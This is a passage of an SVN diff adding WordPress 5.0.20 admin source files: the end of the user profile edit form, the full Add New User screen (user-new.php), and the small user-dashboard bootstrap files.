+	<th scope="row"><label for="pass2"><?php _e( 'Repeat New Password' ); ?></label></th>
+	<td>
+	<input name="pass2" type="password" id="pass2" class="regular-text" value="" autocomplete="off" />
+	<p class="description"><?php _e( 'Type your new password again.' ); ?></p>
+	</td>
+</tr>
+<tr class="pw-weak">
+	<th><?php _e( 'Confirm Password' ); ?></th>
+	<td>
+		<label>
+			<input type="checkbox" name="pw_weak" class="pw-checkbox" />
+			<span id="pw-weak-text-label"><?php _e( 'Confirm use of potentially weak password' ); ?></span>
+		</label>
+	</td>
+</tr>
+<?php endif; ?>
+
+<?php
+if ( IS_PROFILE_PAGE && count( $sessions->get_all() ) === 1 ) : ?>
+	<tr class="user-sessions-wrap hide-if-no-js">
+		<th><?php _e( 'Sessions' ); ?></th>
+		<td aria-live="assertive">
+			<div class="destroy-sessions"><button type="button" disabled class="button"><?php _e( 'Log Out Everywhere Else' ); ?></button></div>
+			<p class="description">
+				<?php _e( 'You are only logged in at this location.' ); ?>
+			</p>
+		</td>
+	</tr>
+<?php elseif ( IS_PROFILE_PAGE && count( $sessions->get_all() ) > 1 ) : ?>
+	<tr class="user-sessions-wrap hide-if-no-js">
+		<th><?php _e( 'Sessions' ); ?></th>
+		<td aria-live="assertive">
+			<div class="destroy-sessions"><button type="button" class="button" id="destroy-sessions"><?php _e( 'Log Out Everywhere Else' ); ?></button></div>
+			<p class="description">
+				<?php _e( 'Did you lose your phone or leave your account logged in at a public computer? You can log out everywhere else, and stay logged in here.' ); ?>
+			</p>
+		</td>
+	</tr>
+<?php elseif ( ! IS_PROFILE_PAGE && $sessions->get_all() ) : ?>
+	<tr class="user-sessions-wrap hide-if-no-js">
+		<th><?php _e( 'Sessions' ); ?></th>
+		<td>
+			<p><button type="button" class="button" id="destroy-sessions"><?php _e( 'Log Out Everywhere' ); ?></button></p>
+			<p class="description">
+				<?php
+				/* translators: 1: User's display name. */
+				printf( __( 'Log %s out of all locations.' ), $profileuser->display_name );
+				?>
+			</p>
+		</td>
+	</tr>
+<?php endif; ?>
+
+</table>
+
+<?php
+	if ( IS_PROFILE_PAGE ) {
+		/**
+		 * Fires after the 'About Yourself' settings table on the 'Your Profile' editing screen.
+		 *
+		 * The action only fires if the current user is editing their own profile.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param WP_User $profileuser The current WP_User object.
+		 */
+		do_action( 'show_user_profile', $profileuser );
+	} else {
+		/**
+		 * Fires after the 'About the User' settings table on the 'Edit User' screen.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param WP_User $profileuser The current WP_User object.
+		 */
+		do_action( 'edit_user_profile', $profileuser );
+	}
+?>
+
+<?php
+/**
+ * Filters whether to display additional capabilities for the user.
+ *
+ * The 'Additional Capabilities' section will only be enabled if
+ * the number of the user's capabilities exceeds their number of
+ * roles.
+ *
+ * @since 2.8.0
+ *
+ * @param bool    $enable      Whether to display the capabilities. Default true.
+ * @param WP_User $profileuser The current WP_User object.
+ */
+if ( count( $profileuser->caps ) > count( $profileuser->roles )
+	&& apply_filters( 'additional_capabilities_display', true, $profileuser )
+) : ?>
+<h2><?php _e( 'Additional Capabilities' ); ?></h2>
+<table class="form-table">
+<tr class="user-capabilities-wrap">
+	<th scope="row"><?php _e( 'Capabilities' ); ?></th>
+	<td>
+<?php
+	$output = '';
+	foreach ( $profileuser->caps as $cap => $value ) {
+		if ( ! $wp_roles->is_role( $cap ) ) {
+			if ( '' != $output )
+				$output .= ', ';
+			$output .= $value ? $cap : sprintf( __( 'Denied: %s' ), $cap );
+		}
+	}
+	echo $output;
+?>
+	</td>
+</tr>
+</table>
+<?php endif; ?>
+
+<input type="hidden" name="action" value="update" />
+<input type="hidden" name="user_id" id="user_id" value="<?php echo esc_attr($user_id); ?>" />
+
+<?php submit_button( IS_PROFILE_PAGE ? __('Update Profile') : __('Update User') ); ?>
+
+</form>
+</div>
+<?php
+break;
+}
+?>
+<script type="text/javascript">
+	if (window.location.hash == '#password') {
+		document.getElementById('pass1').focus();
+	}
+</script>
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php');
Index: /tags/5.0.20/src/wp-admin/user-new.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user-new.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user-new.php	(revision 56912)
@@ -0,0 +1,520 @@
+<?php
+/**
+ * New User Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( is_multisite() ) {
+	if ( ! current_user_can( 'create_users' ) && ! current_user_can( 'promote_users' ) ) {
+		wp_die(
+			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+			'<p>' . __( 'Sorry, you are not allowed to add users to this network.' ) . '</p>',
+			403
+		);
+	}
+} elseif ( ! current_user_can( 'create_users' ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to create users.' ) . '</p>',
+		403
+	);
+}
+
+if ( is_multisite() ) {
+	add_filter( 'wpmu_signup_user_notification_email', 'admin_created_user_email' );
+}
+
+if ( isset($_REQUEST['action']) && 'adduser' == $_REQUEST['action'] ) {
+	check_admin_referer( 'add-user', '_wpnonce_add-user' );
+
+	$user_details = null;
+	$user_email = wp_unslash( $_REQUEST['email'] );
+	if ( false !== strpos( $user_email, '@' ) ) {
+		$user_details = get_user_by( 'email', $user_email );
+	} else {
+		if ( current_user_can( 'manage_network_users' ) ) {
+			$user_details = get_user_by( 'login', $user_email );
+		} else {
+			wp_redirect( add_query_arg( array('update' => 'enter_email'), 'user-new.php' ) );
+			die();
+		}
+	}
+
+	if ( !$user_details ) {
+		wp_redirect( add_query_arg( array('update' => 'does_not_exist'), 'user-new.php' ) );
+		die();
+	}
+
+	if ( ! current_user_can( 'promote_user', $user_details->ID ) ) {
+		wp_die(
+			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+			'<p>' . __( 'Sorry, you are not allowed to add users to this network.' ) . '</p>',
+			403
+		);
+	}
+
+	// Adding an existing user to this blog
+	$new_user_email = $user_details->user_email;
+	$redirect = 'user-new.php';
+	$username = $user_details->user_login;
+	$user_id = $user_details->ID;
+	if ( $username != null && array_key_exists( $blog_id, get_blogs_of_user( $user_id ) ) ) {
+		$redirect = add_query_arg( array('update' => 'addexisting'), 'user-new.php' );
+	} else {
+		if ( isset( $_POST[ 'noconfirmation' ] ) && current_user_can( 'manage_network_users' ) ) {
+			$result = add_existing_user_to_blog( array( 'user_id' => $user_id, 'role' => $_REQUEST[ 'role' ] ) );
+
+			if ( ! is_wp_error( $result ) ) {
+				$redirect = add_query_arg( array( 'update' => 'addnoconfirmation', 'user_id' => $user_id ), 'user-new.php' );
+			} else {
+				$redirect = add_query_arg( array( 'update' => 'could_not_add' ), 'user-new.php' );
+			}
+		} else {
+			$newuser_key = wp_generate_password( 20, false );
+			add_option( 'new_user_' . $newuser_key, array( 'user_id' => $user_id, 'email' => $user_details->user_email, 'role' => $_REQUEST[ 'role' ] ) );
+
+			$roles = get_editable_roles();
+			$role = $roles[ $_REQUEST['role'] ];
+
+			/**
+			 * Fires immediately after a user is invited to join a site, but before the notification is sent.
+			 *
+			 * @since 4.4.0
+			 *
+			 * @param int    $user_id     The invited user's ID.
+			 * @param array  $role        The role of invited user.
+			 * @param string $newuser_key The key of the invitation.
+			 */
+			do_action( 'invite_user', $user_id, $role, $newuser_key );
+
+			$switched_locale = switch_to_locale( get_user_locale( $user_details ) );
+
+			/* translators: 1: Site name, 2: site URL, 3: role, 4: activation URL */
+			$message = __( 'Hi,
+
+You\'ve been invited to join \'%1$s\' at
+%2$s with the role of %3$s.
+
+Please click the following link to confirm the invite:
+%4$s' );
+			wp_mail( $new_user_email, sprintf( __( '[%s] Joining confirmation' ), wp_specialchars_decode( get_option( 'blogname' ) ) ), sprintf( $message, get_option( 'blogname' ), home_url(), wp_specialchars_decode( translate_user_role( $role['name'] ) ), home_url( "/newbloguser/$newuser_key/" ) ) );
+
+			if ( $switched_locale ) {
+				restore_previous_locale();
+			}
+
+			$redirect = add_query_arg( array('update' => 'add'), 'user-new.php' );
+		}
+	}
+	wp_redirect( $redirect );
+	die();
+} elseif ( isset($_REQUEST['action']) && 'createuser' == $_REQUEST['action'] ) {
+	check_admin_referer( 'create-user', '_wpnonce_create-user' );
+
+	if ( ! current_user_can( 'create_users' ) ) {
+		wp_die(
+			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+			'<p>' . __( 'Sorry, you are not allowed to create users.' ) . '</p>',
+			403
+		);
+	}
+
+	if ( ! is_multisite() ) {
+		$user_id = edit_user();
+
+		if ( is_wp_error( $user_id ) ) {
+			$add_user_errors = $user_id;
+		} else {
+			if ( current_user_can( 'list_users' ) )
+				$redirect = 'users.php?update=add&id=' . $user_id;
+			else
+				$redirect = add_query_arg( 'update', 'add', 'user-new.php' );
+			wp_redirect( $redirect );
+			die();
+		}
+	} else {
+		// Adding a new user to this site
+		$new_user_email = wp_unslash( $_REQUEST['email'] );
+		$user_details = wpmu_validate_user_signup( $_REQUEST['user_login'], $new_user_email );
+		if ( is_wp_error( $user_details[ 'errors' ] ) && !empty( $user_details[ 'errors' ]->errors ) ) {
+			$add_user_errors = $user_details[ 'errors' ];
+		} else {
+			/**
+			 * Filters the user_login, also known as the username, before it is added to the site.
+			 *
+			 * @since 2.0.3
+			 *
+			 * @param string $user_login The sanitized username.
+			 */
+			$new_user_login = apply_filters( 'pre_user_login', sanitize_user( wp_unslash( $_REQUEST['user_login'] ), true ) );
+			if ( isset( $_POST[ 'noconfirmation' ] ) && current_user_can( 'manage_network_users' ) ) {
+				add_filter( 'wpmu_signup_user_notification', '__return_false' ); // Disable confirmation email
+				add_filter( 'wpmu_welcome_user_notification', '__return_false' ); // Disable welcome email
+			}
+			wpmu_signup_user( $new_user_login, $new_user_email, array( 'add_to_blog' => get_current_blog_id(), 'new_role' => $_REQUEST['role'] ) );
+			if ( isset( $_POST[ 'noconfirmation' ] ) && current_user_can( 'manage_network_users' ) ) {
+				$key = $wpdb->get_var( $wpdb->prepare( "SELECT activation_key FROM {$wpdb->signups} WHERE user_login = %s AND user_email = %s", $new_user_login, $new_user_email ) );
+				$new_user = wpmu_activate_signup( $key );
+				if ( is_wp_error( $new_user ) ) {
+					$redirect = add_query_arg( array( 'update' => 'addnoconfirmation' ), 'user-new.php' );
+				} elseif ( ! is_user_member_of_blog( $new_user['user_id'] ) ) {
+					$redirect = add_query_arg( array( 'update' => 'created_could_not_add' ), 'user-new.php' );
+				} else {
+					$redirect = add_query_arg( array( 'update' => 'addnoconfirmation', 'user_id' => $new_user['user_id'] ), 'user-new.php' );
+				}
+			} else {
+				$redirect = add_query_arg( array('update' => 'newuserconfirmation'), 'user-new.php' );
+			}
+			wp_redirect( $redirect );
+			die();
+		}
+	}
+}
+
+$title = __('Add New User');
+$parent_file = 'users.php';
+
+$do_both = false;
+if ( is_multisite() && current_user_can('promote_users') && current_user_can('create_users') )
+	$do_both = true;
+
+$help = '<p>' . __('To add a new user to your site, fill in the form on this screen and click the Add New User button at the bottom.') . '</p>';
+
+if ( is_multisite() ) {
+	$help .= '<p>' . __('Because this is a multisite installation, you may add accounts that already exist on the Network by specifying a username or email, and defining a role. For more options, such as specifying a password, you have to be a Network Administrator and use the hover link under an existing user&#8217;s name to Edit the user profile under Network Admin > All Users.') . '</p>' .
+	'<p>' . __('New users will receive an email letting them know they&#8217;ve been added as a user for your site. This email will also contain their password. Check the box if you don&#8217;t want the user to receive a welcome email.') . '</p>';
+} else {
+	$help .= '<p>' . __('New users are automatically assigned a password, which they can change after logging in. You can view or edit the assigned password by clicking the Show Password button. The username cannot be changed once the user has been added.') . '</p>' .
+
+	'<p>' . __('By default, new users will receive an email letting them know they&#8217;ve been added as a user for your site. This email will also contain a password reset link. Uncheck the box if you don&#8217;t want to send the new user a welcome email.') . '</p>';
+}
+
+$help .= '<p>' . __('Remember to click the Add New User button at the bottom of this screen when you are finished.') . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => $help,
+) );
+
+get_current_screen()->add_help_tab( array(
+'id'      => 'user-roles',
+'title'   => __('User Roles'),
+'content' => '<p>' . __('Here is a basic overview of the different user roles and the permissions associated with each one:') . '</p>' .
+				'<ul>' .
+				'<li>' . __('Subscribers can read comments/comment/receive newsletters, etc. but cannot create regular site content.') . '</li>' .
+				'<li>' . __('Contributors can write and manage their posts but not publish posts or upload media files.') . '</li>' .
+				'<li>' . __('Authors can publish and manage their own posts, and are able to upload files.') . '</li>' .
+				'<li>' . __('Editors can publish posts, manage posts as well as manage other people&#8217;s posts, etc.') . '</li>' .
+				'<li>' . __('Administrators have access to all the administration features.') . '</li>' .
+				'</ul>'
+) );
+
+get_current_screen()->set_help_sidebar(
+    '<p><strong>' . __('For more information:') . '</strong></p>' .
+    '<p>' . __('<a href="https://codex.wordpress.org/Users_Add_New_Screen">Documentation on Adding New Users</a>') . '</p>' .
+    '<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+wp_enqueue_script('wp-ajax-response');
+wp_enqueue_script( 'user-profile' );
+
+/**
+ * Filters whether to enable user auto-complete for non-super admins in Multisite.
+ *
+ * @since 3.4.0
+ *
+ * @param bool $enable Whether to enable auto-complete for non-super admins. Default false.
+ */
+if ( is_multisite() && current_user_can( 'promote_users' ) && ! wp_is_large_network( 'users' )
+	&& ( current_user_can( 'manage_network_users' ) || apply_filters( 'autocomplete_users_for_site_admins', false ) )
+) {
+	wp_enqueue_script( 'user-suggest' );
+}
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( isset($_GET['update']) ) {
+	$messages = array();
+	if ( is_multisite() ) {
+		$edit_link = '';
+		if ( ( isset( $_GET['user_id'] ) ) ) {
+			$user_id_new = absint( $_GET['user_id'] );
+			if ( $user_id_new ) {
+				$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
+			}
+		}
+
+		switch ( $_GET['update'] ) {
+			case "newuserconfirmation":
+				$messages[] = __('Invitation email sent to new user. A confirmation link must be clicked before their account is created.');
+				break;
+			case "add":
+				$messages[] = __('Invitation email sent to user. A confirmation link must be clicked for them to be added to your site.');
+				break;
+			case "addnoconfirmation":
+				if ( empty( $edit_link ) ) {
+					$messages[] = __( 'User has been added to your site.' );
+				} else {
+					/* translators: %s: edit page url */
+					$messages[] = sprintf( __( 'User has been added to your site. <a href="%s">Edit user</a>' ), $edit_link );
+				}
+				break;
+			case "addexisting":
+				$messages[] = __('That user is already a member of this site.');
+				break;
+			case "could_not_add":
+				$add_user_errors = new WP_Error( 'could_not_add', __( 'That user could not be added to this site.' ) );
+				break;
+			case "created_could_not_add":
+				$add_user_errors = new WP_Error( 'created_could_not_add', __( 'User has been created, but could not be added to this site.' ) );
+				break;
+			case "does_not_exist":
+				$add_user_errors = new WP_Error( 'does_not_exist', __( 'The requested user does not exist.' ) );
+				break;
+			case "enter_email":
+				$add_user_errors = new WP_Error( 'enter_email', __( 'Please enter a valid email address.' ) );
+				break;
+		}
+	} else {
+		if ( 'add' == $_GET['update'] )
+			$messages[] = __('User added.');
+	}
+}
+?>
+<div class="wrap">
+<h1 id="add-new-user"><?php
+if ( current_user_can( 'create_users' ) ) {
+	_e( 'Add New User' );
+} elseif ( current_user_can( 'promote_users' ) ) {
+	_e( 'Add Existing User' );
+} ?>
+</h1>
+
+<?php if ( isset($errors) && is_wp_error( $errors ) ) : ?>
+	<div class="error">
+		<ul>
+		<?php
+			foreach ( $errors->get_error_messages() as $err )
+				echo "<li>$err</li>\n";
+		?>
+		</ul>
+	</div>
+<?php endif;
+
+if ( ! empty( $messages ) ) {
+	foreach ( $messages as $msg )
+		echo '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
+} ?>
+
+<?php if ( isset($add_user_errors) && is_wp_error( $add_user_errors ) ) : ?>
+	<div class="error">
+		<?php
+			foreach ( $add_user_errors->get_error_messages() as $message )
+				echo "<p>$message</p>";
+		?>
+	</div>
+<?php endif; ?>
+<div id="ajax-response"></div>
+
+<?php
+if ( is_multisite() && current_user_can( 'promote_users' ) ) {
+	if ( $do_both )
+		echo '<h2 id="add-existing-user">' . __( 'Add Existing User' ) . '</h2>';
+	if ( ! current_user_can( 'manage_network_users' ) ) {
+		echo '<p>' . __( 'Enter the email address of an existing user on this network to invite them to this site. That person will be sent an email asking them to confirm the invite.' ) . '</p>';
+		$label = __('Email');
+		$type  = 'email';
+	} else {
+		echo '<p>' . __( 'Enter the email address or username of an existing user on this network to invite them to this site. That person will be sent an email asking them to confirm the invite.' ) . '</p>';
+		$label = __('Email or Username');
+		$type  = 'text';
+	}
+?>
+<form method="post" name="adduser" id="adduser" class="validate" novalidate="novalidate"<?php
+	/**
+	 * Fires inside the adduser form tag.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'user_new_form_tag' );
+?>>
+<input name="action" type="hidden" value="adduser" />
+<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ) ?>
+
+<table class="form-table">
+	<tr class="form-field form-required">
+		<th scope="row"><label for="adduser-email"><?php echo $label; ?></label></th>
+		<td><input name="email" type="<?php echo $type; ?>" id="adduser-email" class="wp-suggest-user" value="" /></td>
+	</tr>
+	<tr class="form-field">
+		<th scope="row"><label for="adduser-role"><?php _e('Role'); ?></label></th>
+		<td><select name="role" id="adduser-role">
+			<?php wp_dropdown_roles( get_option('default_role') ); ?>
+			</select>
+		</td>
+	</tr>
+<?php if ( current_user_can( 'manage_network_users' ) ) { ?>
+	<tr>
+		<th scope="row"><?php _e( 'Skip Confirmation Email' ); ?></th>
+		<td>
+			<input type="checkbox" name="noconfirmation" id="adduser-noconfirmation" value="1" />
+			<label for="adduser-noconfirmation"><?php _e( 'Add the user without sending an email that requires their confirmation.' ); ?></label>
+		</td>
+	</tr>
+<?php } ?>
+</table>
+<?php
+/**
+ * Fires at the end of the new user form.
+ *
+ * Passes a contextual string to make both types of new user forms
+ * uniquely targetable. Contexts are 'add-existing-user' (Multisite),
+ * and 'add-new-user' (single site and network admin).
+ *
+ * @since 3.7.0
+ *
+ * @param string $type A contextual string specifying which type of new user form the hook follows.
+ */
+do_action( 'user_new_form', 'add-existing-user' );
+?>
+<?php submit_button( __( 'Add Existing User' ), 'primary', 'adduser', true, array( 'id' => 'addusersub' ) ); ?>
+</form>
+<?php
+} // is_multisite()
+
+if ( current_user_can( 'create_users') ) {
+	if ( $do_both )
+		echo '<h2 id="create-new-user">' . __( 'Add New User' ) . '</h2>';
+?>
+<p><?php _e('Create a brand new user and add them to this site.'); ?></p>
+<form method="post" name="createuser" id="createuser" class="validate" novalidate="novalidate"<?php
+	/** This action is documented in wp-admin/user-new.php */
+	do_action( 'user_new_form_tag' );
+?>>
+<input name="action" type="hidden" value="createuser" />
+<?php wp_nonce_field( 'create-user', '_wpnonce_create-user' ); ?>
+<?php
+// Load up the passed data, else set to a default.
+$creating = isset( $_POST['createuser'] );
+
+$new_user_login = $creating && isset( $_POST['user_login'] ) ? wp_unslash( $_POST['user_login'] ) : '';
+$new_user_firstname = $creating && isset( $_POST['first_name'] ) ? wp_unslash( $_POST['first_name'] ) : '';
+$new_user_lastname = $creating && isset( $_POST['last_name'] ) ? wp_unslash( $_POST['last_name'] ) : '';
+$new_user_email = $creating && isset( $_POST['email'] ) ? wp_unslash( $_POST['email'] ) : '';
+$new_user_uri = $creating && isset( $_POST['url'] ) ? wp_unslash( $_POST['url'] ) : '';
+$new_user_role = $creating && isset( $_POST['role'] ) ? wp_unslash( $_POST['role'] ) : '';
+$new_user_send_notification = $creating && ! isset( $_POST['send_user_notification'] ) ? false : true;
+$new_user_ignore_pass = $creating && isset( $_POST['noconfirmation'] ) ? wp_unslash( $_POST['noconfirmation'] ) : '';
+
+?>
+<table class="form-table">
+	<tr class="form-field form-required">
+		<th scope="row"><label for="user_login"><?php _e('Username'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+		<td><input name="user_login" type="text" id="user_login" value="<?php echo esc_attr( $new_user_login ); ?>" aria-required="true" autocapitalize="none" autocorrect="off" maxlength="60" /></td>
+	</tr>
+	<tr class="form-field form-required">
+		<th scope="row"><label for="email"><?php _e('Email'); ?> <span class="description"><?php _e('(required)'); ?></span></label></th>
+		<td><input name="email" type="email" id="email" value="<?php echo esc_attr( $new_user_email ); ?>" /></td>
+	</tr>
+<?php if ( !is_multisite() ) { ?>
+	<tr class="form-field">
+		<th scope="row"><label for="first_name"><?php _e('First Name') ?> </label></th>
+		<td><input name="first_name" type="text" id="first_name" value="<?php echo esc_attr($new_user_firstname); ?>" /></td>
+	</tr>
+	<tr class="form-field">
+		<th scope="row"><label for="last_name"><?php _e('Last Name') ?> </label></th>
+		<td><input name="last_name" type="text" id="last_name" value="<?php echo esc_attr($new_user_lastname); ?>" /></td>
+	</tr>
+	<tr class="form-field">
+		<th scope="row"><label for="url"><?php _e('Website') ?></label></th>
+		<td><input name="url" type="url" id="url" class="code" value="<?php echo esc_attr( $new_user_uri ); ?>" /></td>
+	</tr>
+	<tr class="form-field form-required user-pass1-wrap">
+		<th scope="row">
+			<label for="pass1">
+				<?php _e( 'Password' ); ?>
+				<span class="description hide-if-js"><?php _e( '(required)' ); ?></span>
+			</label>
+		</th>
+		<td>
+			<input class="hidden" value=" " /><!-- #24364 workaround -->
+			<button type="button" class="button wp-generate-pw hide-if-no-js"><?php _e( 'Show password' ); ?></button>
+			<div class="wp-pwd hide-if-js">
+				<?php $initial_password = wp_generate_password( 24 ); ?>
+				<span class="password-input-wrapper">
+					<input type="password" name="pass1" id="pass1" class="regular-text" autocomplete="off" data-reveal="1" data-pw="<?php echo esc_attr( $initial_password ); ?>" aria-describedby="pass-strength-result" />
+				</span>
+				<button type="button" class="button wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
+					<span class="dashicons dashicons-hidden"></span>
+					<span class="text"><?php _e( 'Hide' ); ?></span>
+				</button>
+				<button type="button" class="button wp-cancel-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Cancel password change' ); ?>">
+					<span class="text"><?php _e( 'Cancel' ); ?></span>
+				</button>
+				<div style="display:none" id="pass-strength-result" aria-live="polite"></div>
+			</div>
+		</td>
+	</tr>
+	<tr class="form-field form-required user-pass2-wrap hide-if-js">
+		<th scope="row"><label for="pass2"><?php _e( 'Repeat Password' ); ?> <span class="description"><?php _e( '(required)' ); ?></span></label></th>
+		<td>
+		<input name="pass2" type="password" id="pass2" autocomplete="off" />
+		</td>
+	</tr>
+	<tr class="pw-weak">
+		<th><?php _e( 'Confirm Password' ); ?></th>
+		<td>
+			<label>
+				<input type="checkbox" name="pw_weak" class="pw-checkbox" />
+				<?php _e( 'Confirm use of weak password' ); ?>
+			</label>
+		</td>
+	</tr>
+	<tr>
+		<th scope="row"><?php _e( 'Send User Notification' ) ?></th>
+		<td>
+			<input type="checkbox" name="send_user_notification" id="send_user_notification" value="1" <?php checked( $new_user_send_notification ); ?> />
+			<label for="send_user_notification"><?php _e( 'Send the new user an email about their account.' ); ?></label>
+		</td>
+	</tr>
+<?php } // !is_multisite ?>
+	<tr class="form-field">
+		<th scope="row"><label for="role"><?php _e('Role'); ?></label></th>
+		<td><select name="role" id="role">
+			<?php
+			if ( !$new_user_role )
+				$new_user_role = !empty($current_role) ? $current_role : get_option('default_role');
+			wp_dropdown_roles($new_user_role);
+			?>
+			</select>
+		</td>
+	</tr>
+	<?php if ( is_multisite() && current_user_can( 'manage_network_users' ) ) { ?>
+	<tr>
+		<th scope="row"><?php _e( 'Skip Confirmation Email' ); ?></th>
+		<td>
+			<input type="checkbox" name="noconfirmation" id="noconfirmation" value="1" <?php checked( $new_user_ignore_pass ); ?> />
+			<label for="noconfirmation"><?php _e( 'Add the user without sending an email that requires their confirmation.' ); ?></label>
+		</td>
+	</tr>
+	<?php } ?>
+</table>
+
+<?php
+/** This action is documented in wp-admin/user-new.php */
+do_action( 'user_new_form', 'add-new-user' );
+?>
+
+<?php submit_button( __( 'Add New User' ), 'primary', 'createuser', true, array( 'id' => 'createusersub' ) ); ?>
+
+</form>
+<?php } // current_user_can('create_users') ?>
+</div>
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/user/about.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user/about.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user/about.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Dashboard About administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/about.php' );
Index: /tags/5.0.20/src/wp-admin/user/admin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user/admin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user/admin.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * WordPress User Administration Bootstrap
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+define('WP_USER_ADMIN', true);
+
+require_once( dirname(dirname(__FILE__)) . '/admin.php');
+
+if ( ! is_multisite() ) {
+	wp_redirect( admin_url() );
+	exit;
+}
+
+$redirect_user_admin_request = ( ( $current_blog->domain != $current_site->domain ) || ( $current_blog->path != $current_site->path ) );
+/**
+ * Filters whether to redirect the request to the User Admin in Multisite.
+ *
+ * @since 3.2.0
+ *
+ * @param bool $redirect_user_admin_request Whether the request should be redirected.
+ */
+$redirect_user_admin_request = apply_filters( 'redirect_user_admin_request', $redirect_user_admin_request );
+if ( $redirect_user_admin_request ) {
+	wp_redirect( user_admin_url() );
+	exit;
+}
+unset( $redirect_user_admin_request );
Index: /tags/5.0.20/src/wp-admin/user/credits.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user/credits.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user/credits.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Dashboard Credits administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/credits.php' );
Index: /tags/5.0.20/src/wp-admin/user/freedoms.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user/freedoms.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user/freedoms.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Dashboard Freedoms administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.4.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/freedoms.php' );
Index: /tags/5.0.20/src/wp-admin/user/index.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user/index.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Dashboard Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/index.php' );
Index: /tags/5.0.20/src/wp-admin/user/menu.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user/menu.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user/menu.php	(revision 56912)
@@ -0,0 +1,22 @@
+<?php
+/**
+ * Build User Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+$menu[2] = array(__('Dashboard'), 'exist', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard');
+
+$menu[4] = array( '', 'exist', 'separator1', '', 'wp-menu-separator' );
+
+$menu[70] = array( __('Profile'), 'exist', 'profile.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
+
+$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );
+
+$_wp_real_parent_file['users.php'] = 'profile.php';
+$compat = array();
+$submenu = array();
+
+require_once(ABSPATH . 'wp-admin/includes/menu.php');
Index: /tags/5.0.20/src/wp-admin/user/privacy.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user/privacy.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user/privacy.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Dashboard Privacy administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.9.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/privacy.php' );
Index: /tags/5.0.20/src/wp-admin/user/profile.php
===================================================================
--- /tags/5.0.20/src/wp-admin/user/profile.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/user/profile.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * User Profile Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require( ABSPATH . 'wp-admin/profile.php' );
